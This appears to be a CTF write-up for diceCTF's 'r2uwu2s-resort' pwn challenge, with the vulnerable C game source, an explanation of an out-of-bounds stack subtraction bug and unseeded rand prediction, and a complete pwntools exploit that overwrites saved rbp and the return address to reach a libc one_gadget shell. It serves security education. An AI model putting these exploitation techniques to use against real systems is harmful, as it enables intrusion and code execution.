r2uwu2s-resort

r2uwu2s-resort
was the easy pwn challenge from this year's diceCTF. While I didn't look much at this challenge during the CTF (as it was released later on, and I was focused on locked_room), I did look at it after the CTF and locked_room, and solved it, so here's my writeup for it.
Reversing
Checksec

resort
It wouldn't be a diceCTF challenge if it were missing any proections (except FORTIFY, but who actually cares about that). We're also given source code:
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <time.h>
#include <unistd.h>
#define ANSI_RESET "\x1b[0m"
#define ANSI_COLOR(x) "\x1b[0;" x "m"
#define ANSI_RED ANSI_COLOR("31")
#define ANSI_GREEN ANSI_COLOR("32")
#define ANSI_YELLOW ANSI_COLOR("33")
#define ANSI_BLUE ANSI_COLOR("34")
#define ANSI_MAGENTA ANSI_COLOR("35")
#define ANSI_CYAN ANSI_COLOR("36")
#define ANSI_WHITE ANSI_COLOR("37")
#define ANSI_BRIGHT_RED ANSI_COLOR("91")
#define ANSI_BRIGHT_GREEN ANSI_COLOR("92")
#define ANSI_BRIGHT_YELLOW ANSI_COLOR("93")
#define ANSI_BRIGHT_BLUE ANSI_COLOR("94")
#define ANSI_BRIGHT_MAGENTA ANSI_COLOR("95")
#define ANSI_BRIGHT_CYAN ANSI_COLOR("96")
#define ANSI_BRIGHT_WHITE ANSI_COLOR("97")
#define ANSI_ERASE "\x1b[2J"
#define sleep_ms(x) usleep(x * 1000)
typedef struct {
int8_t hp;
} dustbunny;
void print_bunny(dustbunny* bunny, char paw) {
if (bunny->hp > 50) {
printf("%1$c{ ^^ }%1$c", paw);
} else if (bunny->hp > 0) {
printf("%1$c{ oo }%1$c", paw);
} else {
printf("%1$c{ xx }%1$c", paw);
}
}
void print_ui(char* msg, dustbunny bunnies[static 3], uint8_t hp, uint8_t mp) {
printf(
ANSI_BRIGHT_RED \
" \n" \
" +==================================+ \n" \
" | | \n" \
" | "
);
printf("%-32s", msg);
printf(
" | \n" \
" | | \n" \
" | "
);
print_bunny(&bunnies[0], '*');
print_bunny(&bunnies[1], '\'');
print_bunny(&bunnies[2], '.');
printf(
" | \n" \
" | | \n" \
" +==================================+ \n" \
" | | \n" \
" | r2uwu2 @ "
);
printf("%-23p", &print_ui);
printf(
" | \n" \
" | ------ HP ["
);
for (uint8_t i = 0; i < 20; i++) {
printf(i < hp / 5 ? "#" : " ");
}
printf(
"] | \n" \
" | MP ["
);
for (uint8_t i = 0; i < 20; i++) {
printf(i < mp / 5 ? "*" : " ");
}
printf(
"] | \n" \
" | | \n" \
" +==================================+ \n" \
" \n" \
ANSI_RESET
);
}
char* items[] = {
"random bs",
"spooky rizz",
"dr chatterjee",
"DOM CLOBBERING",
};
int main() {
dustbunny bunnies[3] = {
{
.hp = 96,
},
{
.hp = 99,
},
{
.hp = 97,
}
};
uint8_t hp = 100;
uint8_t mp = 100;
char msg[33] = "3 Dust Bunnies block your path! ";
while (true) {
print_ui(msg, bunnies, hp, mp);
int item = rand() % 4;
int choice;
printf("Attack with [%s] against which bunny? (1-3) > ", items[item]);
fflush(stdout);
if (scanf("%d%*[^\n]", &choice) == 0) {
puts("bad input >:(");
fflush(stdout);
return 1;
}
uint8_t dmg;
if (item == 3) {
bunnies[choice - 1].hp = 0;
} else {
dmg = rand() % 255;
bunnies[choice - 1].hp -= dmg;
}
hp -= 1;
if (bunnies[choice - 1].hp <= 0) {
sprintf(msg, "Bunny %d has fallen!", choice);
} else {
sprintf(msg, "Bunny %d took %d damage!", choice, dmg);
}
if (bunnies[0].hp <= 0 && bunnies[1].hp <= 0 && bunnies[2].hp <= 0) {
puts("r2uwu2 wins!");
fflush(stdout);
return 0;
} else if (hp < 0) {
puts("the resort wins...");
fflush(stdout);
return 1;
}
}
}
The program seems to be a kind of turn based singler player game, where we have to defeat 3 bunnies (it's mean 😢, but anything for a flag) by selecting one each turn, then we do a "random" (more on this later) amount of damage to it, or have a ¼ chance to kill it insantly (i.e reduce its .hp
to 0). Each bunny is of type dustbunny
, which is just:
typedef struct {
int8_t hp;
} dustbunny;
So basically just a int8_t
(i.e. a one byte value).
The program ends when either all the bunnies die, or we do.
PIE Leak
printf("%-23p", &print_ui);
Even though we have PIE enabled, the challenge decides to give us a PIE leak for free anyways, how nice of them! why they simply didn't just disable PIE is beyond me.
(B)OOB: (Bunny) Out of Bounds
The bug here is fairly obvious: no bounds check on which bunny we decide to attack. This means we can subtract "random" values from arbitrary int8_t
s on the stack, however since we can't control the output of rand()
, how do we control this OOB?
Exploitation
Predicting rand
If we can't control the values we subtract, then the next best thing is to be able to predict them, so when a useful value comes along, we can use it for a specific write to some index. Thankfully, rand
isn't as random as you may expect.
rand
is a pseudo-random generator, which means the numbers aren't truly random, and just appear to be so. These tend to work by applying mathematical operations to a current state to yield a new one, so they're deterministic, and they need a starting seed value to determine an initial state. Importantly, this means if we know the initial seed, we can predict all the generated numbers.
rand
uses srand
to seed it, and a common pattern is doing srand(time(NULL))
at the start of programs, which seeds based on the current time, however there is no call to srand
at all in the program!
By default, rand
is seeded with 0
, so we can generate all the attacks:
import ctypes
dll = ctypes.CDLL("libc.so.6")
#dll.srand(0) # if you want to be safe
def attack_gen():
while True:
item = dll.rand() % 4
dmg = None
if item != 3:
dmg = -(dll.rand() % 255)
yield (item, dmg)
Immortality?
Another limitation to get around is our hp
. hp
starts at 100, and goes down by 1 every turn, so we'd only have roughly 100 writes. Since we don't have controlled writes, many of those 100 won't be useful to us, at least not easily, plus the address randomization potentially decreasing reliability of finding the necessary writes.
So what if we used our OOB to hit hp
?

hp = 100

hp -= 1
Unfortunately no good, because hp
is stored in the register r12
!
However, it turns out we actually don't need to worry about this at all! If we take a closer look at how hp
is defined, we see that it's actually unsigned: uint8_t hp = 100;
. And since the check is for hp < 0
, NOT hp <= 0
like with the bunnies, this will NEVER pass.
In fact, the compiler recognises this, and just removes this check entirely:

The plan
Since we have only a PIE leak (no libc), we can only write PIE addresses, so our attack options are limited. Ideally we'd want to attack the return address, which already has a libc address: __libc_start_call_main+128
.
While we don't have a libc leak, we do have a subtract primitive as opposed to just a write one, so we can use this to our advantage!
We don't need to know all the bits of the address, we just need to know the offset from the address to where we'd want to jump, most likely a one_gadget
, then we can subtract from each byte to effectively subtract that offset!
This isn't perfect, as this won't account for possible carrying that may be needed, depending on the libc base, but it will work well enough in practice.
So, what one_gadget
s do we have?

one_gadget libc.so.6
And this is the state of the registers on returning from main
:

main
The biggest thing to note is that none of these gadgets will work, because rbp-0xXX
needs to be writable, and rbp=1
. So if we're going to use a one_gadget
, we will need to change rbp
to some writable address, like a PIE one. We can do this by writing to the stack, as rbp
is saved at the start of main
, and restored at the end along with r12-r15
and rbx
.

However with many of these gadgets, we'll need to fix other constraints too, except for 2 of them:

r10 == NULL

rax == NULL
While r10 == NULL
happens by chance (probably from some system call), we can see that rax == NULL
comes from the return 0;
. So all these gadgets need is a valid, writable rbp
, which we can use PIE+0x4100
for.

PIE+0x4100
So the plan is:
Overwrite saved rbp to point to
PIE+0x4100
.Overwrite return address to point to a
one_gadget
.Kill the 3 bunnies to return, and trigger the
one_gadget
.
Implementation
Now let's implement the attack:
attacks = attack_gen()
def do_subs(subs):
payload = ""
while subs:
item, dmg = next(attacks)
if item == 3:
payload += "0\n"
continue
for i in range(len(subs)):
sub, off = subs[i]
if sub == abs(dmg):
payload += str(off+1) + "\n"
subs.pop(i)
break
else:
payload += "0\n"
return payload
def gen_subs(after, before, off):
assert len(before) == len(after)
subs = []
for i, (a, b) in enumerate(zip(after, before)):
if a == b:
continue
subs.append(((b-a) % 256, off+i))
return subs
def kill_bunnies():
payload = ""
i = 0
while i < 3:
item, dmg = next(attacks)
if item == 3 or dmg >= [96, 99, 97][i]:
payload += str(i+1)+"\n"
i += 1
else:
payload += "0\n"
return payload
one_gadget = p64(0xebd43)[:3]
ret = p64(libc.sym.__libc_start_call_main+128)[:3]
subs = []
subs += gen_subs(one_gadget, ret, 0x6c)
subs += gen_subs(p64(e.address + 0x4101), p64(1), 0x64)
payload = do_subs(subs) + kill_bunnies()
p.send(payload.encode())
p.recvuntil(b"r2uwu2 wins!")
p.interactive()
Since our write primitive is a subtraction, we either need to know the current value of what we're overwriting, or set it to 0 first using DOM CLOBBERING
(which we don't need to use as we know the values).
So what gen_subs
does is generate a list of what values should be subtracted from each index, and we generate this for the one_gadget
and saved rbp
writes.
Then do_subs
will generate the payload to do these, in no particular order, as these writes don't have an effect until we return. If we have an attack that's useless to us, we send it to an irrelevant index, like -1
.
Finally we need to return, so then we kill the 3 bunnies (RIP 😢) by bringing their hp to 0 or lower.
Exploit
#!/usr/bin/python3
from pwn import *
from sys import argv
import ctypes
e = context.binary = ELF('./resort_patched')
libc = ELF('./libc.so.6', checksec=False)
ld = ELF('./ld-linux-x86-64.so.2', checksec=False)
if args.REMOTE:
ip, port = "dicec.tf", 32030
conn = lambda: remote(ip, port)
else:
conn = lambda: e.process()
dll = ctypes.CDLL("libc.so.6")
p = conn()
p.recvuntil(b"r2uwu2 @ ")
print_ui = int(p.recvuntil(b" "), 16)
log.info(f"print_ui: {hex(print_ui)}")
e.address = print_ui - e.sym.print_ui
log.info(f"PIE: {hex(e.address)}")
def attack_gen():
while True:
item = dll.rand() % 4
dmg = None
if item != 3:
dmg = -(dll.rand() % 255)
yield (item, dmg)
attacks = attack_gen()
def do_subs(subs):
payload = ""
while subs:
item, dmg = next(attacks)
if item == 3:
payload += "0\n"
continue
for i in range(len(subs)):
sub, off = subs[i]
if sub == abs(dmg):
payload += str(off+1) + "\n"
subs.pop(i)
break
else:
payload += "0\n"
return payload
def gen_subs(after, before, off):
assert len(before) == len(after)
subs = []
for i, (a, b) in enumerate(zip(after, before)):
if a == b:
continue
subs.append(((b-a) % 256, off+i))
return subs
def kill_bunnies():
payload = ""
i = 0
while i < 3:
item, dmg = next(attacks)
if item == 3 or dmg >= [96, 99, 97][i]:
payload += str(i+1)+"\n"
i += 1
else:
payload += "0\n"
return payload
"""
0xebd43 execve("/bin/sh", rbp-0x50, [rbp-0x70])
constraints:
address rbp-0x50 is writable
rax == NULL || {rax, [rbp-0x48], NULL} is a valid argv
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp
"""
one_gadget = p64(0xebd43)[:3]
ret = p64(libc.sym.__libc_start_call_main+128)[:3]
subs = []
subs += gen_subs(one_gadget, ret, 0x6c)
subs += gen_subs(p64(e.address + 0x4101), p64(1), 0x64)
payload = do_subs(subs) + kill_bunnies()
print(len(payload))
p.send(payload.encode())
p.recvuntil(b"r2uwu2 wins!")
p.interactive()

dice{clearing_the_dust_with_the_power_of_segmentation_fault_core_dumped_ae1f9557}
Last updated
Was this helpful?